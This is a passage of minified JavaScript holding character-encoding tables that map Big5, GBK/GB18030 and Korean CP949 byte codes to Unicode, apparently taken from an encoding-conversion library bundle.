u761B\u763C\u7622\u7620\u7640\u762D\u7630\u763F\u7635\u7643\u763E\u7633\u764D\u765E\u7654\u765C\u7656\u766B\u766F\u7FCA\u7AE6\u7A78\u7A79\u7A80\u7A86\u7A88\u7A95\u7AA6\u7AA0\u7AAC\u7AA8\u7AAD\u7AB3\u8864\u8869\u8872\u887D\u887F\u8882\u88A2\u88C6\u88B7\u88BC\u88C9\u88E2\u88CE\u88E3\u88E5\u88F1\u891A\u88FC\u88E8\u88FE\u88F0\u8921\u8919\u8913\u891B\u890A\u8934\u892B\u8936\u8941\u8966\u897B\u758B\u80E5\u76B2\u76B4\u77DC\u8012\u8014\u8016\u801C\u8020\u8022\u8025\u8026\u8027\u8029\u8028\u8031\u800B\u8035\u8043\u8046\u804D\u8052\u8069\u8071\u8983\u9878\u9880\u9883"],["f240","\u99FA",62],["f280","\u9A39",32,"\u9889\u988C\u988D\u988F\u9894\u989A\u989B\u989E\u989F\u98A1\u98A2\u98A5\u98A6\u864D\u8654\u866C\u866E\u867F\u867A\u867C\u867B\u86A8\u868D\u868B\u86AC\u869D\u86A7\u86A3\u86AA\u8693\u86A9\u86B6\u86C4\u86B5\u86CE\u86B0\u86BA\u86B1\u86AF\u86C9\u86CF\u86B4\u86E9\u86F1\u86F2\u86ED\u86F3\u86D0\u8713\u86DE\u86F4\u86DF\u86D8\u86D1\u8703\u8707\u86F8\u8708\u870A\u870D\u8709\u8723\u873B\u871E\u8725\u872E\u871A\u873E\u8748\u8734\u8731\u8729\u8737\u873F\u8782\u8722\u877D\u877E\u877B\u8760\u8770\u874C\u876E\u878B\u8753\u8763\u877C\u8764\u8759\u8765\u8793\u87AF\u87A8\u87D2"],["f340","\u9A5A",17,"\u9A72\u9A83\u9A89\u9A8D\u9A8E\u9A94\u9A95\u9A99\u9AA6\u9AA9",6,"\u9AB2\u9AB3\u9AB4\u9AB5\u9AB9\u9ABB\u9ABD\u9ABE\u9ABF\u9AC3\u9AC4\u9AC6",4,"\u9ACD\u9ACE\u9ACF\u9AD0\u9AD2\u9AD4\u9AD5\u9AD6\u9AD7\u9AD9\u9ADA\u9ADB\u9ADC"],["f380","\u9ADD\u9ADE\u9AE0\u9AE2\u9AE3\u9AE4\u9AE5\u9AE7\u9AE8\u9AE9\u9AEA\u9AEC\u9AEE\u9AF0",8,"\u9AFA\u9AFC",6,"\u9B04\u9B05\u9B06\u87C6\u8788\u8785\u87AD\u8797\u8783\u87AB\u87E5\u87AC\u87B5\u87B3\u87CB\u87D3\u87BD\u87D1\u87C0\u87CA\u87DB\u87EA\u87E0\u87EE\u8816\u8813\u87FE\u880A\u881B\u8821\u8839\u883C\u7F36\u7F42\u7F44\u7F45\u8210\u7AFA\u7AFD\u7B08\u7B03\u7B04\u7B15\u7B0A\u7B2B\u7B0F\u7B47\u7B38\u7B2A\u7B19\u7B2E\u7B31\u7B20\u7B25\u7B24\u7B33\u7B3E\u7B1E\u7B58\u7B5A\u7B45\u7B75\u7B4C\u7B5D\u7B60\u7B6E\u7B7B\u7B62\u7B72\u7B71\u7B90\u7BA6\u7BA7\u7BB8\u7BAC\u7B9D\u7BA8\u7B85\u7BAA\u7B9C\u7BA2\u7BAB\u7BB4\u7BD1\u7BC1\u7BCC\u7BDD\u7BDA\u7BE5\u7BE6\u7BEA\u7C0C\u7BFE\u7BFC\u7C0F\u7C16\u7C0B"],["f440","\u9B07\u9B09",5,"\u9B10\u9B11\u9B12\u9B14",10,"\u9B20\u9B21\u9B22\u9B24",10,"\u9B30\u9B31\u9B33",7,"\u9B3D\u9B3E\u9B3F\u9B40\u9B46\u9B4A\u9B4B\u9B4C\u9B4E\u9B50\u9B52\u9B53\u9B55",5],["f480","\u9B5B",32,"\u7C1F\u7C2A\u7C26\u7C38\u7C41\u7C40\u81FE\u8201\u8202\u8204\u81EC\u8844\u8221\u8222\u8223\u822D\u822F\u8228\u822B\u8238\u823B\u8233\u8234\u823E\u8244\u8249\u824B\u824F\u825A\u825F\u8268\u887E\u8885\u8888\u88D8\u88DF\u895E\u7F9D\u7F9F\u7FA7\u7FAF\u7FB0\u7FB2\u7C7C\u6549\u7C91\u7C9D\u7C9C\u7C9E\u7CA2\u7CB2\u7CBC\u7CBD\u7CC1\u7CC7\u7CCC\u7CCD\u7CC8\u7CC5\u7CD7\u7CE8\u826E\u66A8\u7FBF\u7FCE\u7FD5\u7FE5\u7FE1\u7FE6\u7FE9\u7FEE\u7FF3\u7CF8\u7D77\u7DA6\u7DAE\u7E47\u7E9B\u9EB8\u9EB4\u8D73\u8D84\u8D94\u8D91\u8DB1\u8D67\u8D6D\u8C47\u8C49\u914A\u9150\u914E\u914F\u9164"],["f540","\u9B7C",62],["f580","\u9BBB",32,"\u9162\u9161\u9170\u9169\u916F\u917D\u917E\u9172\u9174\u9179\u918C\u9185\u9190\u918D\u9191\u91A2\u91A3\u91AA\u91AD\u91AE\u91AF\u91B5\u91B4\u91BA\u8C55\u9E7E\u8DB8\u8DEB\u8E05\u8E59\u8E69\u8DB5\u8DBF\u8DBC\u8DBA\u8DC4\u8DD6\u8DD7\u8DDA\u8DDE\u8DCE\u8DCF\u8DDB\u8DC6\u8DEC\u8DF7\u8DF8\u8DE3\u8DF9\u8DFB\u8DE4\u8E09\u8DFD\u8E14\u8E1D\u8E1F\u8E2C\u8E2E\u8E23\u8E2F\u8E3A\u8E40\u8E39\u8E35\u8E3D\u8E31\u8E49\u8E41\u8E42\u8E51\u8E52\u8E4A\u8E70\u8E76\u8E7C\u8E6F\u8E74\u8E85\u8E8F\u8E94\u8E90\u8E9C\u8E9E\u8C78\u8C82\u8C8A\u8C85\u8C98\u8C94\u659B\u89D6\u89DE\u89DA\u89DC"],["f640","\u9BDC",62],["f680","\u9C1B",32,"\u89E5\u89EB\u89EF\u8A3E\u8B26\u9753\u96E9\u96F3\u96EF\u9706\u9701\u9708\u970F\u970E\u972A\u972D\u9730\u973E\u9F80\u9F83\u9F85",5,"\u9F8C\u9EFE\u9F0B\u9F0D\u96B9\u96BC\u96BD\u96CE\u96D2\u77BF\u96E0\u928E\u92AE\u92C8\u933E\u936A\u93CA\u938F\u943E\u946B\u9C7F\u9C82\u9C85\u9C86\u9C87\u9C88\u7A23\u9C8B\u9C8E\u9C90\u9C91\u9C92\u9C94\u9C95\u9C9A\u9C9B\u9C9E",5,"\u9CA5",4,"\u9CAB\u9CAD\u9CAE\u9CB0",7,"\u9CBA\u9CBB\u9CBC\u9CBD\u9CC4\u9CC5\u9CC6\u9CC7\u9CCA\u9CCB"],["f740","\u9C3C",62],["f780","\u9C7B\u9C7D\u9C7E\u9C80\u9C83\u9C84\u9C89\u9C8A\u9C8C\u9C8F\u9C93\u9C96\u9C97\u9C98\u9C99\u9C9D\u9CAA\u9CAC\u9CAF\u9CB9\u9CBE",4,"\u9CC8\u9CC9\u9CD1\u9CD2\u9CDA\u9CDB\u9CE0\u9CE1\u9CCC",4,"\u9CD3\u9CD4\u9CD5\u9CD7\u9CD8\u9CD9\u9CDC\u9CDD\u9CDF\u9CE2\u977C\u9785\u9791\u9792\u9794\u97AF\u97AB\u97A3\u97B2\u97B4\u9AB1\u9AB0\u9AB7\u9E58\u9AB6\u9ABA\u9ABC\u9AC1\u9AC0\u9AC5\u9AC2\u9ACB\u9ACC\u9AD1\u9B45\u9B43\u9B47\u9B49\u9B48\u9B4D\u9B51\u98E8\u990D\u992E\u9955\u9954\u9ADF\u9AE1\u9AE6\u9AEF\u9AEB\u9AFB\u9AED\u9AF9\u9B08\u9B0F\u9B13\u9B1F\u9B23\u9EBD\u9EBE\u7E3B\u9E82\u9E87\u9E88\u9E8B\u9E92\u93D6\u9E9D\u9E9F\u9EDB\u9EDC\u9EDD\u9EE0\u9EDF\u9EE2\u9EE9\u9EE7\u9EE5\u9EEA\u9EEF\u9F22\u9F2C\u9F2F\u9F39\u9F37\u9F3D\u9F3E\u9F44"],["f840","\u9CE3",62],["f880","\u9D22",32],["f940","\u9D43",62],["f980","\u9D82",32],["fa40","\u9DA3",62],["fa80","\u9DE2",32],["fb40","\u9E03",27,"\u9E24\u9E27\u9E2E\u9E30\u9E34\u9E3B\u9E3C\u9E40\u9E4D\u9E50\u9E52\u9E53\u9E54\u9E56\u9E59\u9E5D\u9E5F\u9E60\u9E61\u9E62\u9E65\u9E6E\u9E6F\u9E72\u9E74",9,"\u9E80"],["fb80","\u9E81\u9E83\u9E84\u9E85\u9E86\u9E89\u9E8A\u9E8C",5,"\u9E94",8,"\u9E9E\u9EA0",5,"\u9EA7\u9EA8\u9EA9\u9EAA"],["fc40","\u9EAB",8,"\u9EB5\u9EB6\u9EB7\u9EB9\u9EBA\u9EBC\u9EBF",4,"\u9EC5\u9EC6\u9EC7\u9EC8\u9ECA\u9ECB\u9ECC\u9ED0\u9ED2\u9ED3\u9ED5\u9ED6\u9ED7\u9ED9\u9EDA\u9EDE\u9EE1\u9EE3\u9EE4\u9EE6\u9EE8\u9EEB\u9EEC\u9EED\u9EEE\u9EF0",8,"\u9EFA\u9EFD\u9EFF",6],["fc80","\u9F06",4,"\u9F0C\u9F0F\u9F11\u9F12\u9F14\u9F15\u9F16\u9F18\u9F1A",5,"\u9F21\u9F23",8,"\u9F2D\u9F2E\u9F30\u9F31"],["fd40","\u9F32",4,"\u9F38\u9F3A\u9F3C\u9F3F",4,"\u9F45",10,"\u9F52",38],["fd80","\u9F79",5,"\u9F81\u9F82\u9F8D",11,"\u9F9C\u9F9D\u9F9E\u9FA1",4,"\uF92C\uF979\uF995\uF9E7\uF9F1"],["fe40","\uFA0C\uFA0D\uFA0E\uFA0F\uFA11\uFA13\uFA14\uFA18\uFA1F\uFA20\uFA21\uFA23\uFA24\uFA27\uFA28\uFA29"]]});var Pd=V((Y7,tP)=>{tP.exports=[["a140","\uE4C6",62],["a180","\uE505",32],["a240","\uE526",62],["a280","\uE565",32],["a2ab","\uE766",5],["a2e3","\u20AC\uE76D"],["a2ef","\uE76E\uE76F"],["a2fd","\uE770\uE771"],["a340","\uE586",62],["a380","\uE5C5",31,"\u3000"],["a440","\uE5E6",62],["a480","\uE625",32],["a4f4","\uE772",10],["a540","\uE646",62],["a580","\uE685",32],["a5f7","\uE77D",7],["a640","\uE6A6",62],["a680","\uE6E5",32],["a6b9","\uE785",7],["a6d9","\uE78D",6],["a6ec","\uE794\uE795"],["a6f3","\uE796"],["a6f6","\uE797",8],["a740","\uE706",62],["a780","\uE745",32],["a7c2","\uE7A0",14],["a7f2","\uE7AF",12],["a896","\uE7BC",10],["a8bc","\uE7C7"],["a8bf","\u01F9"],["a8c1","\uE7C9\uE7CA\uE7CB\uE7CC"],["a8ea","\uE7CD",20],["a958","\uE7E2"],["a95b","\uE7E3"],["a95d","\uE7E4\uE7E5\uE7E6"],["a989","\u303E\u2FF0",11],["a997","\uE7F4",12],["a9f0","\uE801",14],["aaa1","\uE000",93],["aba1","\uE05E",93],["aca1","\uE0BC",93],["ada1","\uE11A",93],["aea1","\uE178",93],["afa1","\uE1D6",93],["d7fa","\uE810",4],["f8a1","\uE234",93],["f9a1","\uE292",93],["faa1","\uE2F0",93],["fba1","\uE34E",93],["fca1","\uE3AC",93],["fda1","\uE40A",93],["fe50","\u2E81\uE816\uE817\uE818\u2E84\u3473\u3447\u2E88\u2E8B\uE81E\u359E\u361A\u360E\u2E8C\u2E97\u396E\u3918\uE826\u39CF\u39DF\u3A73\u39D0\uE82B\uE82C\u3B4E\u3C6E\u3CE0\u2EA7\uE831\uE832\u2EAA\u4056\u415F\u2EAE\u4337\u2EB3\u2EB6\u2EB7\uE83B\u43B1\u43AC\u2EBB\u43DD\u44D6\u4661\u464C\uE843"],["fe80","\u4723\u4729\u477C\u478D\u2ECA\u4947\u497A\u497D\u4982\u4983\u4985\u4986\u499F\u499B\u49B7\u49B6\uE854\uE855\u4CA3\u4C9F\u4CA0\u4CA1\u4C77\u4CA2\u4D13",6,"\u4DAE\uE864\uE468",93]]});var lv=V((Q7,rP)=>{rP.exports={uChars:[128,165,169,178,184,216,226,235,238,244,248,251,253,258,276,284,300,325,329,334,364,463,465,467,469,471,473,475,477,506,594,610,712,716,730,930,938,962,970,1026,1104,1106,8209,8215,8218,8222,8231,8241,8244,8246,8252,8365,8452,8454,8458,8471,8482,8556,8570,8596,8602,8713,8720,8722,8726,8731,8737,8740,8742,8748,8751,8760,8766,8777,8781,8787,8802,8808,8816,8854,8858,8870,8896,8979,9322,9372,9548,9588,9616,9622,9634,9652,9662,9672,9676,9680,9702,9735,9738,9793,9795,11906,11909,11913,11917,11928,11944,11947,11951,11956,11960,11964,11979,12284,12292,12312,12319,12330,12351,12436,12447,12535,12543,12586,12842,12850,12964,13200,13215,13218,13253,13263,13267,13270,13384,13428,13727,13839,13851,14617,14703,14801,14816,14964,15183,15471,15585,16471,16736,17208,17325,17330,17374,17623,17997,18018,18212,18218,18301,18318,18760,18811,18814,18820,18823,18844,18848,18872,19576,19620,19738,19887,40870,59244,59336,59367,59413,59417,59423,59431,59437,59443,59452,59460,59478,59493,63789,63866,63894,63976,63986,64016,64018,64021,64025,64034,64037,64042,65074,65093,65107,65112,65127,65132,65375,65510,65536],gbChars:[0,36,38,45,50,81,89,95,96,100,103,104,105,109,126,133,148,172,175,179,208,306,307,308,309,310,311,312,313,341,428,443,544,545,558,741,742,749,750,805,819,820,7922,7924,7925,7927,7934,7943,7944,7945,7950,8062,8148,8149,8152,8164,8174,8236,8240,8262,8264,8374,8380,8381,8384,8388,8390,8392,8393,8394,8396,8401,8406,8416,8419,8424,8437,8439,8445,8482,8485,8496,8521,8603,8936,8946,9046,9050,9063,9066,9076,9092,9100,9108,9111,9113,9131,9162,9164,9218,9219,11329,11331,11334,11336,11346,11361,11363,11366,11370,11372,11375,11389,11682,11686,11687,11692,11694,11714,11716,11723,11725,11730,11736,11982,11989,12102,12336,12348,12350,12384,12393,12395,12397,12510,12553,12851,12962,12973,13738,13823,13919,13933,14080,14298,14585,14698,15583,15847,16318,16434,16438,16481,16729,17102,17122,17315,17320,17402,17418,17859,17909,17911,17915,17916,17936,17939,17961,18664,18703,18814,18962,19043,33469,33470,33471,33484,33485,33490,33497,33501,33505,33513,33520,33536,33550,37845,37921,37948,38029,38038,38064,38065,38066,38069,38075,38076,38078,39108,39109,39113,39114,39115,39116,39265,39394,189e3]}});var dv=V((eV,aP)=>{aP.exports=[["0","\0",127],["8141","\uAC02\uAC03\uAC05\uAC06\uAC0B",4,"\uAC18\uAC1E\uAC1F\uAC21\uAC22\uAC23\uAC25",6,"\uAC2E\uAC32\uAC33\uAC34"],["8161","\uAC35\uAC36\uAC37\uAC3A\uAC3B\uAC3D\uAC3E\uAC3F\uAC41",9,"\uAC4C\uAC4E",5,"\uAC55"],["8181","\uAC56\uAC57\uAC59\uAC5A\uAC5B\uAC5D",18,"\uAC72\uAC73\uAC75\uAC76\uAC79\uAC7B",4,"\uAC82\uAC87\uAC88\uAC8D\uAC8E\uAC8F\uAC91\uAC92\uAC93\uAC95",6,"\uAC9E\uACA2",5,"\uACAB\uACAD\uACAE\uACB1",6,"\uACBA\uACBE\uACBF\uACC0\uACC2\uACC3\uACC5\uACC6\uACC7\uACC9\uACCA\uACCB\uACCD",7,"\uACD6\uACD8",7,"\uACE2\uACE3\uACE5\uACE6\uACE9\uACEB\uACED\uACEE\uACF2\uACF4\uACF7",4,"\uACFE\uACFF\uAD01\uAD02\uAD03\uAD05\uAD07",4,"\uAD0E\uAD10\uAD12\uAD13"],["8241","\uAD14\uAD15\uAD16\uAD17\uAD19\uAD1A\uAD1B\uAD1D\uAD1E\uAD1F\uAD21",7,"\uAD2A\uAD2B\uAD2E",5],["8261","\uAD36\uAD37\uAD39\uAD3A\uAD3B\uAD3D",6,"\uAD46\uAD48\uAD4A",5,"\uAD51\uAD52\uAD53\uAD55\uAD56\uAD57"],["8281","\uAD59",7,"\uAD62\uAD64",7,"\uAD6E\uAD6F\uAD71\uAD72\uAD77\uAD78\uAD79\uAD7A\uAD7E\uAD80\uAD83",4,"\uAD8A\uAD8B\uAD8D\uAD8E\uAD8F\uAD91",10,"\uAD9E",5,"\uADA5",17,"\uADB8",7,"\uADC2\uADC3\uADC5\uADC6\uADC7\uADC9",6,"\uADD2\uADD4",7,"\uADDD\uADDE\uADDF\uADE1\uADE2\uADE3\uADE5",18],["8341","\uADFA\uADFB\uADFD\uADFE\uAE02",5,"\uAE0A\uAE0C\uAE0E",5,"\uAE15",7],["8361","\uAE1D",18,"\uAE32\uAE33\uAE35\uAE36\uAE39\uAE3B\uAE3C"],["8381","\uAE3D\uAE3E\uAE3F\uAE42\uAE44\uAE47\uAE48\uAE49\uAE4B\uAE4F\uAE51\uAE52\uAE53\uAE55\uAE57",4,"\uAE5E\uAE62\uAE63\uAE64\uAE66\uAE67\uAE6A\uAE6B\uAE6D\uAE6E\uAE6F\uAE71",6,"\uAE7A\uAE7E",5,"\uAE86",5,"\uAE8D",46,"\uAEBF\uAEC1\uAEC2\uAEC3\uAEC5",6,"\uAECE\uAED2",5,"\uAEDA\uAEDB\uAEDD",8],["8441","\uAEE6\uAEE7\uAEE9\uAEEA\uAEEC\uAEEE",5,"\uAEF5\uAEF6\uAEF7\uAEF9\uAEFA\uAEFB\uAEFD",8],["8461","\uAF06\uAF09\uAF0A\uAF0B\uAF0C\uAF0E\uAF0F\uAF11",18],["8481","\uAF24",7,"\uAF2E\uAF2F\uAF31\uAF33\uAF35",6,"\uAF3E\uAF40\uAF44\uAF45\uAF46\uAF47\uAF4A",5,"\uAF51",10,"\uAF5E",5,"\uAF66",18,"\uAF7A",5,"\uAF81\uAF82\uAF83\uAF85\uAF86\uAF87\uAF89",6,"\uAF92\uAF93\uAF94\uAF96",5,"\uAF9D",26,"\uAFBA\uAFBB\uAFBD\uAFBE"],["8541","\uAFBF\uAFC1",5,"\uAFCA\uAFCC\uAFCF",4,"\uAFD5",6,"\uAFDD",4],["8561","\uAFE2",5,"\uAFEA",5,"\uAFF2\uAFF3\uAFF5\uAFF6\uAFF7\uAFF9",6,"\uB002\uB003"],["8581","\uB005",6,"\uB00D\uB00E\uB00F\uB011\uB012\uB013\uB015",6,"\uB01E",9,"\uB029",26,"\uB046\uB047\uB049\uB04B\uB04D\uB04F\uB050\uB051\uB052\uB056\uB058\uB05A\uB05B\uB05C\uB05E",29,"\uB07E\uB07F\uB081\uB082\uB083\uB085",6,"\uB08E\uB090\uB092",5,"\uB09B\uB09D\uB09E\uB0A3\uB0A4"],["8641","\uB0A5\uB0A6\uB0A7\uB0AA\uB0B0\uB0B2\uB0B6\uB0B7\uB0B9\uB0BA\uB0BB\uB0BD",6,"\uB0C6\uB0CA",5,"\uB0D2"],["8661","\uB0D3\uB0D5\uB0D6\uB0D7\uB0D9",6,"\uB0E1\uB0E2\uB0E3\uB0E4\uB0E6",10],["8681","\uB0F1",22,"\uB10A\uB10D\uB10E\uB10F\uB111\uB114\uB115\uB116\uB117\uB11A\uB11E",4,"\uB126\uB127\uB129\uB12A\uB12B\uB12D",6,"\uB136\uB13A",5,"\uB142\uB143\uB145\uB146\uB147\uB149",6,"\uB152\uB153\uB156\uB157\uB159\uB15A\uB15B\uB15D\uB15E\uB15F\uB161",22,"\uB17A\uB17B\uB17D\uB17E\uB17F\uB181\uB183",4,"\uB18A\uB18C\uB18E\uB18F\uB190\uB191\uB195\uB196\uB197\uB199\uB19A\uB19B\uB19D"],["8741","\uB19E",9,"\uB1A9",15],["8761","\uB1B9",18,"\uB1CD\uB1CE\uB1CF\uB1D1\uB1D2\uB1D3\uB1D5"],["8781","\uB1D6",5,"\uB1DE\uB1E0",7,"\uB1EA\uB1EB\uB1ED\uB1EE\uB1EF\uB1F1",7,"\uB1FA\uB1FC\uB1FE",5,"\uB206\uB207\uB209\uB20A\uB20D",6,"\uB216\uB218\uB21A",5,"\uB221",18,"\uB235",6,"\uB23D",26,"\uB259\uB25A\uB25B\uB25D\uB25E\uB25F\uB261",6,"\uB26A",4],["8841","\uB26F",4,"\uB276",5,"\uB27D",6,"\uB286\uB287\uB288\uB28A",4],["8861","\uB28F\uB292\uB293\uB295\uB296\uB297\uB29B",4,"\uB2A2\uB2A4\uB2A7\uB2A8\uB2A9\uB2AB\uB2AD\uB2AE\uB2AF\uB2B1\uB2B2\uB2B3\uB2B5\uB2B6\uB2B7"],["8881","\uB2B8",15,"\uB2CA\uB2CB\uB2CD\uB2CE\uB2CF\uB2D1\uB2D3",4,"\uB2DA\uB2DC\uB2DE\uB2DF\uB2E0\uB2E1\uB2E3\uB2E7\uB2E9\uB2EA\uB2F0\uB2F1\uB2F2\uB2F6\uB2FC\uB2FD\uB2FE\uB302\uB303\uB305\uB306\uB307\uB309",6,"\uB312\uB316",5,"\uB31D",54,"\uB357\uB359\uB35A\uB35D\uB360\uB361\uB362\uB363"],["8941","\uB366\uB368\uB36A\uB36C\uB36D\uB36F\uB372\uB373\uB375\uB376\uB377\uB379",6,"\uB382\uB386",5,"\uB38D"],["8961","\uB38E\uB38F\uB391\uB392\uB393\uB395",10,"\uB3A2",5,"\uB3A9\uB3AA\uB3AB\uB3AD"],["8981","\uB3AE",21,"\uB3C6\uB3C7\uB3C9\uB3CA\uB3CD\uB3CF\uB3D1\uB3D2\uB3D3\uB3D6\uB3D8\uB3DA\uB3DC\uB3DE\uB3DF\uB3E1\uB3E2\uB3E3\uB3E5\uB3E6\uB3E7\uB3E9",18,"\uB3FD",18,"\uB411",6,"\uB419\uB41A\uB41B\uB41D\uB41E\uB41F\uB421",6,"\uB42A\uB42C",7,"\uB435",15],["8a41","\uB445",10,"\uB452\uB453\uB455\uB456\uB457\uB459",6,"\uB462\uB464\uB466"],["8a61","\uB467",4,"\uB46D",18,"\uB481\uB482"],["8a81","\uB483",4,"\uB489",19,"\uB49E",5,"\uB4A5\uB4A6\uB4A7\uB4A9\uB4AA\uB4AB\uB4AD",7,"\uB4B6\uB4B8\uB4BA",5,"\uB4C1\uB4C2\uB4C3\uB4C5\uB4C6\uB4C7\uB4C9",6,"\uB4D1\uB4D2\uB4D3\uB4D4\uB4D6",5,"\uB4DE\uB4DF\uB4E1\uB4E2\uB4E5\uB4E7",4,"\uB4EE\uB4F0\uB4F2",5,"\uB4F9",26,"\uB516\uB517\uB519\uB51A\uB51D"],["8b41","\uB51E",5,"\uB526\uB52B",4,"\uB532\uB533\uB535\uB536\uB537\uB539",6,"\uB542\uB546"],["8b61","\uB547\uB548\uB549\uB54A\uB54E\uB54F\uB551\uB552\uB553\uB555",6,"\uB55E\uB562",8],["8b81","\uB56B",52,"\uB5A2\uB5A3\uB5A5\uB5A6\uB5A7\uB5A9\uB5AC\uB5AD\uB5AE\uB5AF\uB5B2\uB5B6",4,"\uB5BE\uB5BF\uB5C1\uB5C2\uB5C3\uB5C5",6,"\uB5CE\uB5D2",5,"\uB5D9",18,"\uB5ED",18],["8c41","\uB600",15,"\uB612\uB613\uB615\uB616\uB617\uB619",4],["8c61","\uB61E",6,"\uB626",5,"\uB62D",6,"\uB635",5],["8c81","\uB63B",12,"\uB649",26,"\uB665\uB666\uB667\uB669",50,"\uB69E\uB69F\uB6A1\uB6A2\uB6A3\uB6A5",5,"\uB6AD\uB6AE\uB6AF\uB6B0\uB6B2",16],["8d41","\uB6C3",16,"\uB6D5",8],["8d61","\uB6DE",17,"\uB6F1\uB6F2\uB6F3\uB6F5\uB6F6\uB6F7\uB6F9\uB6FA"],["8d81","\uB6FB",4,"\uB702\uB703\uB704\uB706",33,"\uB72A\uB72B\uB72D\uB72E\uB731",6,"\uB73A\uB73C",7,"\uB745\uB746\uB747\uB749\uB74A\uB74B\uB74D",6,"\uB756",9,"\uB761\uB762\uB763\uB765\uB766\uB767\uB769",6,"\uB772\uB774\uB776",5,"\uB77E\uB77F\uB781\uB782\uB783\uB785",6,"\uB78E\uB793\uB794\uB795\uB79A\uB79B\uB79D\uB79E"],["8e41","\uB79F\uB7A1",6,"\uB7AA\uB7AE",5,"\uB7B6\uB7B7\uB7B9",8],["8e61","\uB7C2",4,"\uB7C8\uB7CA",19],["8e81","\uB7DE",13,"\uB7EE\uB7EF\uB7F1\uB7F2\uB7F3\uB7F5",6,"\uB7FE\uB802",4,"\uB80A\uB80B\uB80D\uB80E\uB80F\uB811",6,"\uB81A\uB81C\uB81E",5,"\uB826\uB827\uB829\uB82A\uB82B\uB82D",6,"\uB836\uB83A",5,"\uB841\uB842\uB843\uB845",11,"\uB852\uB854",7,"\uB85E\uB85F\uB861\uB862\uB863\uB865",6,"\uB86E\uB870\uB872",5,"\uB879\uB87A\uB87B\uB87D",7],["8f41","\uB885",7,"\uB88E",17],["8f61","\uB8A0",7,"\uB8A9",6,"\uB8B1\uB8B2\uB8B3\uB8B5\uB8B6\uB8B7\uB8B9",4],["8f81","\uB8BE\uB8BF\uB8C2\uB8C4\uB8C6",5,"\uB8CD\uB8CE\uB8CF\uB8D1\uB8D2\uB8D3\uB8D5",7,"\uB8DE\uB8E0\uB8E2",5,"\uB8EA\uB8EB\uB8ED\uB8EE\uB8EF\uB8F1",6,"\uB8FA\uB8FC\uB8FE",5,"\uB905",18,"\uB919",6,"\uB921",26,"\uB93E\uB93F\uB941\uB942\uB943\uB945",6,"\uB94D\uB94E\uB950\uB952",5],["9041","\uB95A\uB95B\uB95D\uB95E\uB95F\uB961",6,"\uB96A\uB96C\uB96E",5,"\uB976\uB977\uB979\uB97A\uB97B\uB97D"],["9061","\uB97E",5,"\uB986\uB988\uB98B\uB98C\uB98F",15],["9081","\uB99F",12,"\uB9AE\uB9AF\uB9B1\uB9B2\uB9B3\uB9B5",6,"\uB9BE\uB9C0\uB9C2",5,"\uB9CA\uB9CB\uB9CD\uB9D3",4,"\uB9DA\uB9DC\uB9DF\uB9E0\uB9E2\uB9E6\uB9E7\uB9E9\uB9EA\uB9EB\uB9ED",6,"\uB9F6\uB9FB",4,"\uBA02",5,"\uBA09",11,"\uBA16",33,"\uBA3A\uBA3B\uBA3D\uBA3E\uBA3F\uBA41\uBA43\uBA44\uBA45\uBA46"],["9141","\uBA47\uBA4A\uBA4C\uBA4F\uBA50\uBA51\uBA52\uBA56\uBA57\uBA59\uBA5A\uBA5B\uBA5D",6,"\uBA66\uBA6A",5],["9161","\uBA72\uBA73\uBA75\uBA76\uBA77\uBA79",9,"\uBA86\uBA88\uBA89\uBA8A\uBA8B\uBA8D",5],["9181","\uBA93",20,"\uBAAA\uBAAD\uBAAE\uBAAF\uBAB1\uBAB3",4,"\uBABA\uBABC\uBABE",5,"\uBAC5\uBAC6\uBAC7\uBAC9",14,"\uBADA",33,"\uBAFD\uBAFE\uBAFF\uBB01\uBB02\uBB03\uBB05",7,"\uBB0E\uBB10\uBB12",5,"\uBB19\uBB1A\uBB1B\uBB1D\uBB1E\uBB1F\uBB21",6],["9241","\uBB28\uBB2A\uBB2C",7,"\uBB37\uBB39\uBB3A\uBB3F",4,"\uBB46\uBB48\uBB4A\uBB4B\uBB4C\uBB4E\uBB51\uBB52"],["9261","\uBB53\uBB55\uBB56\uBB57\uBB59",7,"\uBB62\uBB64",7,"\uBB6D",4],["9281","\uBB72",21,"\uBB89\uBB8A\uBB8B\uBB8D\uBB8E\uBB8F\uBB91",18,"\uBBA5\uBBA6\uBBA7\uBBA9\uBBAA\uBBAB\uBBAD",6,"\uBBB5\uBBB6\uBBB8",7,"\uBBC1\uBBC2\uBBC3\uBBC5\uBBC6\uBBC7\uBBC9",6,"\uBBD1\uBBD2\uBBD4",35,"\uBBFA\uBBFB\uBBFD\uBBFE\uBC01"],["9341","\uBC03",4,"\uBC0A\uBC0E\uBC10\uBC12\uBC13\uBC19\uBC1A\uBC20\uBC21\uBC22\uBC23\uBC26\uBC28\uBC2A\uBC2B\uBC2C\uBC2E\uBC2F\uBC32\uBC33\uBC35"],["9361","\uBC36\uBC37\uBC39",6,"\uBC42\uBC46\uBC47\uBC48\uBC4A\uBC4B\uBC4E\uBC4F\uBC51",8],["9381","\uBC5A\uBC5B\uBC5C\uBC5E",37,"\uBC86\uBC87\uBC89\uBC8A\uBC8D\uBC8F",4,"\uBC96\uBC98\uBC9B",4,"\uBCA2\uBCA3\uBCA5\uBCA6\uBCA9",6,"\uBCB2\uBCB6",5,"\uBCBE\uBCBF\uBCC1\uBCC2\uBCC3\uBCC5",7,"\uBCCE\uBCD2\uBCD3\uBCD4\uBCD6\uBCD7\uBCD9\uBCDA\uBCDB\uBCDD",22,"\uBCF7\uBCF9\uBCFA\uBCFB\uBCFD"],["9441","\uBCFE",5,"\uBD06\uBD08\uBD0A",5,"\uBD11\uBD12\uBD13\uBD15",8],["9461","\uBD1E",5,"\uBD25",6,"\uBD2D",12],["9481","\uBD3A",5,"\uBD41",6,"\uBD4A\uBD4B\uBD4D\uBD4E\uBD4F\uBD51",6,"\uBD5A",9,"\uBD65\uBD66\uBD67\uBD69",22,"\uBD82\uBD83\uBD85\uBD86\uBD8B",4,"\uBD92\uBD94\uBD96\uBD97\uBD98\uBD9B\uBD9D",6,"\uBDA5",10,"\uBDB1",6,"\uBDB9",24],["9541","\uBDD2\uBDD3\uBDD6\uBDD7\uBDD9\uBDDA\uBDDB\uBDDD",11,"\uBDEA",5,"\uBDF1"],["9561","\uBDF2\uBDF3\uBDF5\uBDF6\uBDF7\uBDF9",6,"\uBE01\uBE02\uBE04\uBE06",5,"\uBE0E\uBE0F\uBE11\uBE12\uBE13"],["9581","\uBE15",6,"\uBE1E\uBE20",35,"\uBE46\uBE47\uBE49\uBE4A\uBE4B\uBE4D\uBE4F",4,"\uBE56\uBE58\uBE5C\uBE5D\uBE5E\uBE5F\uBE62\uBE63\uBE65\uBE66\uBE67\uBE69\uBE6B",4,"\uBE72\uBE76",4,"\uBE7E\uBE7F\uBE81\uB